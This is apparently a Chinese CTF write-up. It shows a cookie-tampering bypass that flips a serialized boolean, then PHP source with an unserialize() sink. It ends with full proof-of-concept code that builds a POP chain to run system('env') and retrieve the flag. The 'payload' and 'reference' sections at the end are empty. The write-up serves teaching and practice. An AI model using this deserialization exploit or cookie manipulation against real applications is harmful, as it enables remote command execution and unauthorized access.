打开一片空白,抓包发现base64加密后的cookie
解码
解码发现是序列化后的字符串而且有一个布尔类型的变量为0
一片空白的原因可能就是布尔值为0,改成1再base64加密后替换原cookie发包
回到浏览器
<?php
error_reporting(0);
include('utils.php');
class A {
public $className;
public $funcName;
public $args;
public function __destruct() {
$class = new $this->className;
$funcName = $this->funcName;
$class->$funcName($this->args);
}
}
class B {
public function __call($func, $arg) {
$func($arg[0]);
}
}
if(checkUser()) {
highlight_file(__FILE__);
$payload = strrev(base64_decode($_POST['payload']));
unserialize($payload);
}
得到源码后就是反序列化构造pop链了,不难看出是通过A类来触发B类中的__call从而实现任意命令执行
poc如下:
<?php
error_reporting(0);
include('utils.php');
class A {
public $className="B";
public $funcName="system";
public $args="env";
public function __destruct() {
$class = new $this->className;
$funcName = $this->funcName;
$class->$funcName($this->args);
}
}
class B {
public function __call($func, $arg) {
$func($arg[0]);
}
}
$a=new A();
echo(base64_encode(strrev(serialize($a))));
?>
这里在B类中调用system没有,直接触发__call方法并将system作为参数传入__call中造成执行系统命令来查看环境变量从而得到flag
得到payload:
参考: